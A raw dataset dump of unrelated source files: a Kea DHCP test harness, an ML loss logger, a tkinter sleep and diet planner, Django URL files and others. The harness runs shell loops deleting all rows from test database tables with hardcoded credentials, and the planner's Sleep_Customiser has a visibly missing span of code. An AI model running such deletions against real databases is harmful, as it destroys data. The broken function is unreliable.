cfg_file.write('}') # end of DHCP part (should be moved if something else will be added after shared-networks\n\n if world.ddns_enable:\n build_ddns_config()\n cfg_file.write(world.ddns)\n\n if \"agent\" in world.cfg:\n cfg_file.write(',' + world.cfg[\"agent\"])\n del world.cfg[\"agent\"]\n\n logging_file = world.f_cfg.software_install_path + 'var/kea/kea.log'\n\n log_type = ''\n if \"kea6\" in world.cfg[\"dhcp_under_test\"]:\n log_type = 'kea-dhcp6'\n elif \"kea4\" in world.cfg[\"dhcp_under_test\"]:\n log_type = 'kea-dhcp4'\n\n cfg_file.write(',\"Logging\": {\"loggers\": [')\n if \"logger\" not in world.cfg:\n cfg_file.write('{\"name\": \"' + log_type + '\",\"output_options\": [{\"output\": \"' + logging_file + '\"}')\n cfg_file.write('],\"debuglevel\": 99,\"severity\": \"DEBUG\"}')\n if world.ddns_enable:\n cfg_file.write(',{\"name\": \"kea-dhcp-ddns\",\"output_options\": [{\"output\": \"' + logging_file + '_ddns\"}')\n cfg_file.write('],\"debuglevel\": 99,\"severity\": \"DEBUG\"}')\n else:\n cfg_file.write(world.cfg[\"logger\"])\n\n cfg_file.write(']}')\n cfg_file.write('}') # end of the config file\n cfg_file.close()\n # kea ctrl script config file\n cfg_file = open(world.cfg[\"cfg_file_2\"], 'w')\n cfg_file.write(world.cfg[\"keactrl\"])\n cfg_file.close()\n world.subcfg = [[\"\", \"\", \"\", \"\", \"\", \"\", \"\"]]\n config = open(world.cfg[\"cfg_file\"], 'r')\n world.configString = config.read().replace('\\n', '').replace(' ', '')\n config.close()\n add_variable(\"SERVER_CONFIG\", world.configString, False)\n json_file_layout()\n\n\n# =============================================================\n# ================ PREPARE CONFIG BLOCK END ==================\n\n# =============================================================\n# ================ REMOTE SERVER BLOCK START ==================\n\ndef check_kea_process_result(succeed, result, process):\n errors = [\"Failed to apply configuration\", \"Failed to initialize server\",\n \"Service failed\", \"failed to initialize Kea server\", \"failed to initialize Kea\"]\n\n if succeed:\n if any(error_message in result for error_message in errors):\n assert False, 'Server operation: ' + process + ' failed! '\n if not succeed:\n if not any(error_message in result for error_message in errors):\n assert False, 'Server operation: ' + process + ' NOT failed!'\n\n\ndef build_and_send_config_files(connection_type, configuration_type=\"config-file\",\n destination_address=world.f_cfg.mgmt_address):\n \"\"\"\n Generate final config file, save it to test result directory\n and send it to remote system unless testing step will define differently.\n :param connection_type: for now two values expected: SSH and None for stating if files should be send\n :param configuration_type: for now supported just config-file, generate file and save to results dir\n :param destination_address: address of remote system to which conf file will be send,\n default it's world.f_cfg.mgmt_address\n \"\"\"\n\n if configuration_type == \"config-file\" and connection_type == \"SSH\":\n world.cfg['leases'] = world.f_cfg.software_install_path + 'var/kea/kea-leases6.csv'\n add_defaults()\n set_kea_ctrl_config()\n cfg_write()\n fabric_send_file(world.cfg[\"cfg_file\"],\n world.f_cfg.software_install_path + \"etc/kea/kea.conf\",\n destination_host=destination_address)\n fabric_send_file(world.cfg[\"cfg_file_2\"],\n world.f_cfg.software_install_path + \"etc/kea/keactrl.conf\",\n destination_host=destination_address)\n copy_configuration_file(world.cfg[\"cfg_file\"], destination_host=destination_address)\n copy_configuration_file(world.cfg[\"cfg_file_2\"], \"/kea_ctrl_config\", destination_host=destination_address)\n remove_local_file(world.cfg[\"cfg_file\"])\n remove_local_file(world.cfg[\"cfg_file_2\"])\n elif configuration_type == \"config-file\" and connection_type is None:\n world.cfg['leases'] = world.f_cfg.software_install_path + 'var/kea/kea-leases6.csv'\n add_defaults()\n set_kea_ctrl_config()\n cfg_write()\n copy_configuration_file(world.cfg[\"cfg_file\"], destination_host=destination_address)\n remove_local_file(world.cfg[\"cfg_file\"])\n\n\ndef start_srv(start, process, destination_address=world.f_cfg.mgmt_address):\n \"\"\"\n Start kea with generated config\n \"\"\"\n # build_and_send_config_files() it's now separate step\n v6, v4 = check_kea_status(destination_address)\n world.cfg['leases'] = world.f_cfg.software_install_path + 'var/kea/kea-leases6.csv'\n\n if process is None:\n process = \"starting\"\n\n if not v6:\n result = fabric_sudo_command('(' + world.f_cfg.software_install_path + 'sbin/keactrl start '\n + ' & ); sleep ' + str(world.f_cfg.sleep_time_1),\n destination_host=destination_address)\n check_kea_process_result(start, result, process)\n else:\n result = fabric_sudo_command('(' + world.f_cfg.software_install_path + 'sbin/keactrl stop '\n + ' & ); sleep ' + str(world.f_cfg.sleep_time_1),\n destination_host=destination_address)\n # check_kea_process_result(start, result, process)\n result = fabric_sudo_command('(' + world.f_cfg.software_install_path + 'sbin/keactrl start '\n + ' & ); sleep ' + str(world.f_cfg.sleep_time_1),\n destination_host=destination_address)\n check_kea_process_result(start, result, process)\n sleep(2)\n\n\ndef reconfigure_srv(destination_address=world.f_cfg.mgmt_address):\n result = fabric_sudo_command('(' + world.f_cfg.software_install_path + 'sbin/keactrl reload '\n + ' & ); sleep ' + str(world.f_cfg.sleep_time_1),\n destination_host=destination_address)\n check_kea_process_result(True, result, 'reconfigure')\n\n\ndef stop_srv(value=False, destination_address=world.f_cfg.mgmt_address):\n fabric_sudo_command('(' + world.f_cfg.software_install_path + 'sbin/keactrl stop ' + ' & ); sleep '\n + str(world.f_cfg.sleep_time_1), hide_all=value,\n destination_host=destination_address)\n\n\ndef restart_srv(destination_address=world.f_cfg.mgmt_address):\n fabric_sudo_command('(' + world.f_cfg.software_install_path + 'sbin/keactrl stop ' + ' & ); sleep '\n + str(world.f_cfg.sleep_time_1),\n destination_host=destination_address)\n fabric_sudo_command('(' + world.f_cfg.software_install_path + 'sbin/keactrl start ' + ' & ); sleep '\n + str(world.f_cfg.sleep_time_1),\n destination_host=destination_address)\n\n\ndef check_kea_status(destination_address=world.f_cfg.mgmt_address):\n v6 = 0\n v4 = 0\n result = fabric_sudo_command(world.f_cfg.software_install_path + \"sbin/keactrl status\",\n destination_host=destination_address)\n # not very sophisticated but easiest fastest way ;)\n if \"DHCPv4 server: inactive\" in result:\n v4 = 0\n elif \"DHCPv4 server: active\" in result:\n v4 = 1\n if \"DHCPv6 server: inactive\" in result:\n v6 = 0\n elif \"DHCPv6 server: active\" in result:\n v6 = 1\n return v6, v4\n\n\ndef clear_leases(db_name=world.f_cfg.db_name, db_user=world.f_cfg.db_user, db_passwd=world.f_cfg.db_passwd,\n destination_address=world.f_cfg.mgmt_address):\n\n if world.f_cfg.db_type == \"mysql\":\n # that is tmp solution - just clearing not saving.\n command = 'for table_name in dhcp4_options dhcp6_options ipv6_reservations hosts lease4 lease6 logs; ' \\\n 'do mysql -u {db_user} -p{db_passwd} -e \"delete from $table_name\" {db_name}; done'.format(**locals())\n fabric_run_command(command, destination_host=destination_address)\n elif world.f_cfg.db_type == \"postgresql\":\n command = 'for table_name in dhcp4_options dhcp6_options ipv6_reservations hosts lease4 lease6 logs;' \\\n ' do psql -U {db_user} -d {db_name} -c \"delete from $table_name\" ; done'.format(**locals())\n fabric_run_command(command, destination_host=destination_address)\n elif world.f_cfg.db_type == \"cql\":\n # TODO: hardcoded passwords for now in cassandra, extend it in some time :)\n command = 'for table_name in dhcp_option_scope host_reservations lease4 lease6 logs;' \\\n ' do cqlsh --keyspace=keatest --user=keatest --password=keatest -e \"TRUNCATE $table_name;\"' \\\n ' ; done'.format(**locals())\n fabric_run_command(command, destination_host=destination_address)\n else:\n fabric_remove_file_command(world.cfg['leases'], destination_host=destination_address)\n\n\ndef save_leases(tmp_db_type=None, destination_address=world.f_cfg.mgmt_address):\n if world.f_cfg.db_type in [\"mysql\", \"postgresql\", \"cql\"]:\n # that is tmp solution - just clearing not saving.\n clear_leases(destination_address=world.f_cfg.mgmt_address)\n else:\n fabric_download_file(world.cfg['leases'],\n check_local_path_for_downloaded_files(world.cfg[\"dir_name\"],\n '/leases.csv',\n destination_address),\n destination_host=destination_address)\n\n\ndef save_logs(destination_address=world.f_cfg.mgmt_address):\n fabric_download_file(world.f_cfg.software_install_path + 'var/kea/kea.log*',\n check_local_path_for_downloaded_files(world.cfg[\"dir_name\"], '/.', destination_address),\n destination_host=destination_address)\n\n\ndef clear_logs(destination_address=world.f_cfg.mgmt_address):\n fabric_remove_file_command(world.f_cfg.software_install_path + 'var/kea/kea.log*',\n destination_host=destination_address)\n\n\ndef clear_all(tmp_db_type=None, destination_address=world.f_cfg.mgmt_address):\n clear_logs(destination_address)\n\n if world.f_cfg.db_type in [\"memfile\", \"\"]:\n fabric_remove_file_command(world.cfg['leases']+\"*\",\n destination_host=destination_address)\n elif world.f_cfg.db_type in [\"mysql\", \"postgresql\", \"cql\"]:\n # that is tmp solution - just clearing not saving.\n clear_leases(destination_address=world.f_cfg.mgmt_address)\n else:\n assert False, \"If you see that error, something went very wrong.\"\n\n# =============================================================\n# ================ REMOTE SERVER BLOCK END ====================\n","sub_path":"lettuce/features/softwaresupport/kea6_server/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":41162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"407119531","text":"\n\ndef write_loss(directory, epoch_num, iter_count, loss_total, current_loss, write_every, learning_rate, train_ind=True):\n '''writes loss to file'''\n\n valid_or_train = 'train loss.txt' if train_ind else 'valid loss.txt'\n print(valid_or_train)\n with open(directory / valid_or_train, 'a') as f:\n f.write(\n f'epoch {epoch_num}, iter {iter_count}, lr {learning_rate}, average loss over last {write_every} '\n f'iterations: {loss_total / write_every}\\n')\n f.write(f'current loss: {current_loss}')\n f.write('\\n*************\\n\\n\\n')\n\n\ndef train_end_report(directory, epoch_num, train_loss_total, train_data, valid_loss_total, valid_data):\n print(f'\\n\\n\\n***Epoch {epoch_num} complete, average train loss: {train_loss_total / len(train_data)}')\n print(f'Average validation loss: {valid_loss_total / len(valid_data)}\\n\\n\\n')\n with open(directory / 'loss.txt', 'a') as f:\n f.write(f'**************************\\nepoch {epoch_num} complete! '\n f'average train loss: {train_loss_total / len(train_data)}\\n'\n f'average validation loss: {valid_loss_total / len(valid_data)}'\n f'\\n**************************\\n\\n\\n\\n\\n\\n')","sub_path":"trainutils.py","file_name":"trainutils.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"333218894","text":"from math import pi\nfrom numpy import arange\nimport matplotlib.pyplot as plt\n\nN = 5000\ndt = 0.006\nR = 4*pi**3 # 4*pi**2 à l'origine mais c'est marrant de jouer avec ça\nA = 0.1\nx = [1]\ny = [0]\n\nt = arange(0, (N-1)*dt, dt)\n\nfor i in range(1, N-1):\n nx = x[-1] + y[-1]*dt\n ny = y[-1] - (A*y[-1] + R*x[-1])*dt\n x += [nx]\n y += [ny]\n\nplt.figure()\nplt.plot(t,x)\nplt.show()","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"223230829","text":"#The Main Application Code\n#Modules\nfrom tkinter import *\nfrom datetime import datetime, date, timedelta\nfrom fpdf import FPDF\nfrom tkinter import filedialog\n\n#Constants\ngen=[\"-select-\",\"M\",\"F\"]\npro=[\"-select-\",\"Mussle Gain\",\"Lose Fat\",\"Maintain Weight\"]\nactiv=['-select-','Sedentary','Lightly Active','Moderately Active','Very Avtive','Extra Active']\nsys=['-select-','Metric', 'Imperial']\nglobal activity_factor,nutrient_value,sleep_hour,time\ntime=datetime.strptime('00:00:00','%H:%M:%S').time()\nactivity_factor={'Sedentary':1.2,\n 'Lightly Active':1.375,\n 'Moderately Active':1.55,\n 'Very Avtive':1.725,\n 'Extra Active':1.9}\nnutrient_value={'Carbohydrate':4,\n 'Protein':4,\n 'Fat':9}\nsleep_hour={'newborn':15,\n 'infants':13.5,\n 'toddler':12,\n 'pre-school':12,\n 'elementary-age':10.5,\n 'teens':9,\n 'adults':7.5}\n\n#Window Setup\nroot=Tk()\nroot.geometry(\"750x690\")\nroot.title(\"Your Assistantant (Sleep Scheduler and Diet Planner) v1.0\")\nmlabel=Label(root,text='The Bug Slayers',font=(\"consolas\",24,'bold'))\nmlabel.pack(side=TOP)\n\n#Functions\ndef BMR_male(system,weight,height,age):\n if system=='Metric':\n bmr_value=66.5+(13.75*weight)+(5.003*height)-(6.755*age)\n elif system=='Imperial':\n bmr_value=66+(6.2*weight)+(12.7*height)-(6.76*age)\n return bmr_value\n\ndef BMR_female(system,weight,height,age):\n if system=='Metric':\n bmr_value=655.1+(9.563*weight)+(1.85*height)-(4.676*age)\n elif system=='Imperial':\n bmr_value=655.1+(4.35*weight)+(4.7*height)-(4.7*age)\n return bmr_value\n\ndef calorie_calculator(system,weight,height,age,activity_status,sex):\n if sex=='M':\n bmr_value=BMR_male(system,weight,height,age)\n elif sex=='F':\n bmr_value=BMR_female(system,weight,height,age)\n \n calorie_required=bmr_value*activity_factor[activity_status]\n \n return calorie_required\n\ndef nutrient_breaker(program,daily_calorie_need):\n if program==\"Mussle Gain\":\n#-------------------Mussle Gain Program-----------------------------\n#-------------------Calorie Breakdown Nutrients-wise----------------\n carbohydrate=(daily_calorie_need*60)/100\n protein=(daily_calorie_need*35)/100\n fat=daily_calorie_need-carbohydrate-protein\n#-------------------Breakdown in gms--------------------------------\n carb_gm=round(carbohydrate/4)\n prot_gm=round(protein/4)\n fat_gm=round(fat/9)\n elif program==\"Maintain Weight\":\n#-------------------Maintain Weight Program-------------------------\n#-------------------Calorie Breakdown Nutrients-wise----------------\n carbohydrate=(daily_calorie_need*50)/100\n protein=(daily_calorie_need*25)/100\n fat=daily_calorie_need-carbohydrate-protein\n#-------------------Breakdown in gms--------------------------------\n carb_gm=round(carbohydrate/4)\n prot_gm=round(protein/4)\n fat_gm=round(fat/9)\n elif program==\"Lose Fat\":\n#-------------------Weight Lose Program-----------------------------\n#-------------------Calorie Breakdown Nutrients-wise----------------\n carbohydrate=(daily_calorie_need*10)/100\n protein=(daily_calorie_need*50)/100\n fat=daily_calorie_need-carbohydrate-protein\n#-------------------Breakdown in gms--------------------------------\n carb_gm=round(carbohydrate/4)\n prot_gm=round(protein/4)\n fat_gm=round(fat/9)\n\n return carb_gm,prot_gm,fat_gm\n\ndef Age_group(age):\n if age>=0 and age<=0.25:\n agg=1\n elif age>0.25 and age<=1:\n agg=2\n elif age>1 and age<=2:\n agg=3\n elif age>2 and age<=5:\n agg=4\n elif age>5 and age<=12:\n agg=5\n elif age>12 and age<=18:\n agg=6\n else:\n agg=7\n return agg\n\ndef sleep_requirement(agg):\n if agg==1:\n#-------------------Newborns----------------------------------------\n required_hour=sleep_hour['newborn']\n elif agg==2:\n#-------------------Infants-----------------------------------------\n required_hour=sleep_hour['infants']\n elif agg==3:\n#-------------------Toddler-----------------------------------------\n required_hour=sleep_hour['toddler']\n elif agg==4:\n#-------------------Pre-School--------------------------------------\n required_hour=sleep_hour['pre-school']\n elif agg==5:\n#-------------------Elementary-Age----------------------------------\n required_hour=sleep_hour['elementary-age']\n elif agg==6:\n#-------------------Teens-------------------------------------------\n required_hour=sleep_hour['teens']\n elif agg==7:\n#-------------------Adults-----------------------------\n required_hour=sleep_hour['adults']\n sleep_cycle=int(required_hour/1.5)\n return required_hour,sleep_cycle\n\ndef Sleep_Customiser(work_start,work_end,preparation,refresh,required_hour,sleep_buffer):\n#-------------------Input Formatting--------------------------------\n work_start_format=datetime.strptime(work_start, '%H:%M:%S').time()\n work_end_format=datetime.strptime(work_end, '%H:%M:%S').time()\n#-------------------Work Hour---------------------------------------\n temp_start=datetime.combine(date.today(),work_start_format)-datetime.combine(date.today(),time)\n temp_end=datetime.combine(date.today(),work_end_format)-datetime.combine(date.today(),time)\n if temp_end>temp_start:\n work_hour=datetime.combine(date.today(),work_end_format)-datetime.combine(datetime.today(),work_start_format)\n elif temp_endavailable_sleep_time:\n#-----------------Less Sleep Time----------------------------------------------------------\n return 'Insufficient Sleep Hour. Reduce Your Activity Hour'\n else:\n while temp_start_avail<=temp_end_avail:\n ts=(datetime.combine(date.today(),time)+temp_start_avail).time()\n te=(datetime.combine(date.today(),time)+temp_start_avail+total_sleep_hours).time()\n start_list.append(ts.strftime('%H:%M:%S'))\n end_list.append(te.strftime(\"%H:%M:%S\"))\n temp_start_avail=temp_start_avail+timedelta(minutes=30)\n return start_list,end_list\ndef save(name,age,sex,system,height,weight,activity_status,program,work_start,work_end,preparation,refresh,required_hour,sleep_buffer,sleep_cycle,cus,calorie_required,nut,title):\n#------------------------Instance Creation & Addition of First Page-------------------\n pdf=FPDF()\n pdf.add_page()\n pdf.set_font(\"Arial\",'B',20) \n#------------------------Create Cells & Add Data--------------------------------------\n pdf.cell(200, 10, txt = \"Sleep Schedule and Nutrition Report\",ln = 1, align = 'C')\n pdf.set_font(\"Arial\", size = 13)\n pdf.cell(200, 10, txt = \"________________________________________________________________________\", ln=2, align='L') \n pdf.cell(200, 10, txt = \"Name: \"+name, ln=3, align='L')\n pdf.cell(200, 10, txt = \"Age:\"+str(age)+\" Sex:\"+sex+\" System: \"+system, ln=4, align='L')\n if system=='Metric':\n pdf.cell(200, 10, txt = \"Weight: \"+str(weight)+\" kg\"+\" Height: \"+str(int(height))+\" cm\", ln=5, align='L')\n elif system=='Imperial':\n pdf.cell(200, 10, txt = \"Weight: \"+str(weight)+\" lbs.\"+\" Height: \"+str(int(height))+\" inches\", ln=5, align='L')\n pdf.cell(200, 10, txt = \"Activity Status: \"+activity_status+\" Program: \"+program, ln=6, align='L')\n pdf.cell(200, 10, txt = \"Work Start Time : \"+work_start, ln=7, align='L')\n pdf.cell(200, 10, txt = \"Work End Time : \"+work_end, ln=8, align='L')\n pdf.cell(200, 10, txt = \"Preparation Time After Waking Up : \"+str(preparation)+\" hrs.\", ln=9, align='L')\n pdf.cell(200, 10, txt = \"Refresh Time After Work : \"+str(refresh)+\" hrs.\", ln=9, align='L')\n pdf.cell(200, 10, txt = \"Buffer Time Before Sleep : \"+str(sleep_buffer)+\" mins.\", ln=9, align='L')\n pdf.cell(200, 10, txt = \"________________________________________________________________________\", ln=10, align='L')\n pdf.set_font(\"Arial\",'B',16)\n pdf.cell(200, 10, txt = \"Sleep Report\", ln=11, align='C')\n pdf.set_font(\"Arial\", size = 13) \n pdf.cell(200, 10, txt = \"Daily Required Sleep Hour : \"+str(required_hour)+\" hrs.\", ln=12, align='L') \n pdf.cell(200, 10, txt = \"Number of Sleep Cycles (90 min each) : \"+str(sleep_cycle), ln=13, align='L')\n try:\n pdf.cell(200, 10, txt = cus, ln=14, align='L')\n except:\n pdf.cell(200, 10, txt = \"Your Customised Sleeping Slots: \", ln=14, align='L')\n for i in range(len(cus[0])):\n pdf.cell(200, 10, txt = \"Sleep: \"+cus[0][i]+\" Wake: \"+cus[1][i], ln=15, align='L')\n pdf.cell(200, 10, txt = \"________________________________________________________________________\", ln=16, align='L')\n pdf.cell(200, 10, txt = \"A Well Spent Day Bring Happy Sleep. Sweet Dreems.\", ln=17, align='L')\n pdf.set_font(\"Arial\",'B',20)\n pdf.cell(200, 10, txt = \"Diet Report\", ln=18, align='C')\n pdf.set_font(\"Arial\", size = 13)\n pdf.cell(200, 10, txt = \"Daily Calorie Requirement : \"+str(round(calorie_required)), ln=19, align='L')\n pdf.cell(200, 10, txt = \"Your Customised Nurtrient Distribution : \", ln=20, align='L')\n pdf.cell(200, 10, txt = \"Carbohydrate : \"+str(nut[0])+' gm', ln=21, align='L')\n pdf.cell(200, 10, txt = \"Protein : \"+str(nut[1])+' gm', ln=22, align='L')\n pdf.cell(200, 10, txt = \"Fat : \"+str(nut[2])+' gm', ln=23, align='L')\n pdf.cell(200, 10, txt = \"________________________________________________________________________\", ln=16, align='L')\n \n \n#------------------------Save .pdf file----------------------------------------------- \n pdf.output(title)\n\ndef Gen_But():\n name=nam.get()\n age=float(ag.get())\n sex=sx.get()\n system=sy.get()\n height=float(ht.get())\n weight=float(wt.get())\n activity_status=act.get()\n program=prog.get()\n work_start=ws.get()\n work_end=we.get()\n preparation=float(prep.get())\n refresh=float(ref.get())\n sleep_buffer=int(sb.get())\n sr=sleep_requirement(Age_group(age))\n required_hour=sr[0]\n sleep_cycle=sr[1]\n cus=Sleep_Customiser(work_start,work_end,preparation,refresh,required_hour,sleep_buffer)\n calorie_required=calorie_calculator(system,weight,height,age,activity_status,sex)\n nut=nutrient_breaker(program,calorie_required)\n title=filedialog.asksaveasfilename()\n save(name, age, sex, system, height, weight, activity_status, program, work_start, work_end, preparation, refresh, required_hour, sleep_buffer, sleep_cycle,cus,calorie_required,nut,title)\n\n\n#Input Fields & Input Variables\nnam=StringVar()\nag=StringVar()\nsx=StringVar(root)\nsx.set(gen[0])\nsy=StringVar(root)\nsy.set(sys[0])\nprog=StringVar(root)\nprog.set(pro[0])\nact=StringVar(root)\nact.set(activ[0])\nwt=StringVar()\nht=StringVar()\nws=StringVar()\nwe=StringVar()\nsb=StringVar()\nprep=StringVar()\nref=StringVar()\n\n#Name Field\nnl=Label(root,text='Name',font=(\"consolas\",15,'bold'))\nnl.place(x=5,y=60)\nn=Entry(root,textvariable=nam,width=60,bg='powder blue',bd=4,font=(\"consolas\",15,'bold'))\nn.place(x=60,y=60)\n#Age Field\nal=Label(root,text='Age',font=(\"consolas\",15,'bold'))\nal.place(x=5,y=120)\na=Entry(root,textvariable=ag,font=(\"consolas\",15,'bold'),width=10,bg='powder blue',bd=4)\na.place(x=60,y=120)\n#Sex Field\nsl=Label(root,text='Sex',font=(\"consolas\",15,'bold'))\nsl.place(x=220,y=120)\ns=OptionMenu(root,sx,*gen)\ns.config(bg='powder blue',width=12,bd=4,font=(\"consolas\",12,'bold'),relief='sunken')\ns.place(x=275,y=118)\n#System Field\nsyl=Label(root,text='System',font=(\"consolas\",15,'bold'))\nsyl.place(x=486,y=120)\nsye=OptionMenu(root,sy,*sys)\nsye.config(bg='powder blue',width=12,bd=4,font=(\"consolas\",12,'bold'),relief='sunken')\nsye.place(x=576,y=118)\n#Weight Field\nwl=Label(root,text='Weight',font=(\"consolas\",15,'bold'))\nwl.place(x=5,y=180)\nw=Entry(root,textvariable=wt,font=(\"consolas\",15,'bold'),width=18,bg='powder blue',bd=4)\nw.place(x=100,y=180)\n#Height Field\nhl=Label(root,text='Height',font=(\"consolas\",15,'bold'))\nhl.place(x=462,y=180)\nh=Entry(root,textvariable=ht,font=(\"consolas\",15,'bold'),width=16,bg='powder blue',bd=4)\nh.place(x=546,y=180)\n#Activity Status\nacl=Label(root,text='Activity',font=(\"consolas\",15,'bold'))\nacl.place(x=5,y=240)\nac=OptionMenu(root,act,*activ)\nac.config(bg='powder blue',width=18,bd=4,font=(\"consolas\",12,'bold'),relief='sunken')\nac.place(x=100,y=238)\n#Program Selection\npl=Label(root,text='Program',font=(\"consolas\",15,'bold'))\npl.place(x=462,y=240)\np=OptionMenu(root,prog,*pro)\np.config(bg='powder blue',width=15,bd=4,font=(\"consolas\",12,'bold'),relief='sunken')\np.place(x=547,y=238)\n#Work Start Field\nwsl=Label(root,text='Work Start Time(HH:MM:SS)',font=(\"consolas\",15,'bold'))\nwsl.place(x=5,y=300)\nwks=Entry(root,textvariable=ws,font=(\"consolas\",15,'bold'),width=25,bg='powder blue',bd=4)\nwks.place(x=441,y=300)\n#Work End Field\nwel=Label(root,text='Work End Time(HH:MM:SS)',font=(\"consolas\",15,'bold'))\nwel.place(x=5,y=360)\nwke=Entry(root,textvariable=we,font=(\"consolas\",15,'bold'),width=25,bg='powder blue',bd=4)\nwke.place(x=441,y=360)\n#Preparation time Field\nprel=Label(root,text='Preparation Time After Waking Up(hour)',font=(\"consolas\",15,'bold'))\nprel.place(x=5,y=420)\npr=Entry(root,textvariable=prep,font=(\"consolas\",15,'bold'),width=25,bg='powder blue',bd=4)\npr.place(x=441,y=420)\n#Preparation time Field\nrel=Label(root,text='Refresh Time After Work(hour)',font=(\"consolas\",15,'bold'))\nrel.place(x=5,y=480)\nr=Entry(root,textvariable=ref,font=(\"consolas\",15,'bold'),width=25,bg='powder blue',bd=4)\nr.place(x=441,y=480)\n#Preparation time Field\nsbl=Label(root,text='Buffer Time Before Sleep(minutes)',font=(\"consolas\",15,'bold'))\nsbl.place(x=5,y=540)\nslb=Entry(root,textvariable=sb,font=(\"consolas\",15,'bold'),width=25,bg='powder blue',bd=4)\nslb.place(x=441,y=540)\n#Instruction Label\nil=Label(root,text='If using metric system, use kg and cm. If using imperial system, use lbs and inches.For Time use 24hrs format.',font=('arial',10),fg='blue',bg='yellow')\nil.place(x=45,y=600)\n#Save Button\nsavebut=Button(root,padx=10,pady=3,bd=4,fg='white',text=\"Generate Report\",font=(\"Courier New\",12,'bold'),bg='royalblue',command=Gen_But)\nsavebut.place(x=278,y=635)\n\nroot.mainloop()\n","sub_path":"Noida/The Bug Slayers/sleep_shift_scheduler.py","file_name":"sleep_shift_scheduler.py","file_ext":"py","file_size_in_byte":16095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"575006554","text":"from sklearn.ensemble import RandomForestClassifier\nimport pandas as pd\nimport numpy as np\n\ntrainf = pd.read_csv('train.csv')\nX_train = trainf[[\"Elevation\",\"Aspect\",\"Slope\",\"Horizontal_Distance_To_Hydrology\",\"Vertical_Distance_To_Hydrology\",\"Horizontal_Distance_To_Roadways\",\"Hillshade_9am\",\"Hillshade_Noon\",\"Hillshade_3pm\",\"Soil_Type\"]]\ny_train = trainf[\"Horizontal_Distance_To_Fire_Points\"]\n\ntestf = pd.read_csv('test.csv')\nX_ID = testf[\"ID\"]\nX_test = testf[[\"Elevation\",\"Aspect\",\"Slope\",\"Horizontal_Distance_To_Hydrology\",\"Vertical_Distance_To_Hydrology\",\"Horizontal_Distance_To_Roadways\",\"Hillshade_9am\",\"Hillshade_Noon\",\"Hillshade_3pm\",\"Soil_Type\"]]\n\nclf = RandomForestClassifier(max_features = 10, n_estimators = 100)\nclf.fit(X_train, y_train)\nres = clf.predict(X_test)\n\nfor i in range(len(res)):\n\tprint (X_ID[i], res[i])\n\ndataoutput = pd.DataFrame({'ID':X_ID, 'Horizontal_Distance_To_Fire_Points':res})\ndataoutput.to_csv(\"prediction.csv\", index=False)\n","sub_path":"randomforest.py","file_name":"randomforest.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"153096526","text":"# -*- coding: utf-8 -*-\n\nimport logging\n\nfrom tembodb.query import Query\nfrom tembodb.file_type import FileType\nfrom tembodb.codecs import YAMLCodec\n\n\nclass TemboDB(object):\n def __init__(self, codec=YAMLCodec,\n data_dir=None, tmp_dir=None, secret_key=None,\n logger=None, use_locks=True):\n self.codec = codec()\n self.data_dir = data_dir\n self.tmp_dir = tmp_dir\n self.secret_key = secret_key\n self.logger = logger if logger is not None else logging.getLogger('FDB')\n self.use_locks = use_locks\n\n @property\n def file_types(self) -> FileType.__subclasses__():\n \"\"\"\n A generator the yields file types registered to the FDB instance\n \"\"\"\n for value in self.__dict__.values():\n if isinstance(FileType, value):\n yield value\n\n def query(self, q: str) -> Query:\n \"\"\"\n A thin wrapper around `Query()`\n\n :param q: A query string (as specified in tembodb.query.Query)\n :return: Query\n \"\"\"\n return Query(q, codec=self.codec, file_types=self.file_types)\n\n def register_file_type(self) -> \"function\":\n \"\"\"\n You know how \"explicit is better than implicit\"? ``FileType`` subclasses\n should be registered with the application ``db`` object via class decoration::\n\n db = FDB()\n @db.register_file_type\n class File(FileType):\n ...\n \n The class decorator registers the ``FileType`` subclass with your ``db`` object\n and inserts a reference to the passed (or configured) instance variables.\n \"\"\"\n def get_class_reference(cls: FileType.__subclasses__()) -> FileType.__subclasses__():\n for k, v in self.__dict__.items():\n if k != \"file_types\":\n setattr(cls, k, v)\n return cls\n return get_class_reference\n","sub_path":"tembodb/tembo.py","file_name":"tembo.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"270174837","text":"from django.urls import path\n\nfrom . import views\n\napp_name='products'\n\nurlpatterns = [\n path('', views.ProductListView.as_view(), name='list'),\n #path('products//', views.ProductDetailView.as_view(), name='product_detail'),\n path('/', views.ProductDetailSlugView.as_view(), name='detail'),\n]\n","sub_path":"products/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"644271829","text":"from django.contrib import admin\nfrom django.urls import path, include\n\nfrom logs.urls import (\n topic as topic_url,\n type as type_url,\n )\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('topic/', include(topic_url)),\n path('type/', include(type_url)),\n]\n","sub_path":"loglog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"104163069","text":"\"\"\"\nCopyright 2017 Martin Hoeve, Sulayman Hatuluwaja, Giovanni Scholten, Marouane Amlal, Sheeraz Zadi\n\"\"\"\n\nimport pygame\nimport random\nimport pymysql as sql\nimport eztext\n\n# R G B\nblack = (0, 0, 0)\nwhite = (255, 255, 255)\ngreen = (0, 255, 0)\nred = (255, 0, 0)\nblue = (0, 0, 255)\nyellow = (255, 255, 0)\ngrey = (169, 169, 169)\n\n\nclass Utilities:\n def text_object(self, text, font, action=None, color=(0, 0, 0)):\n textSurface = font.render(text, True, color)\n if action == None:\n return textSurface, textSurface.get_rect()\n return textSurface, textSurface.get_rect(), action\n\n\nclass Main:\n previousMousePosition = -1\n mousePosition = -1\n mouseHoldPress = False\n\n def __init__(self):\n pygame.init()\n self.Utilities = Utilities()\n self.Width = 1280\n self.Height = 720\n self.Size = (self.Width, self.Height)\n 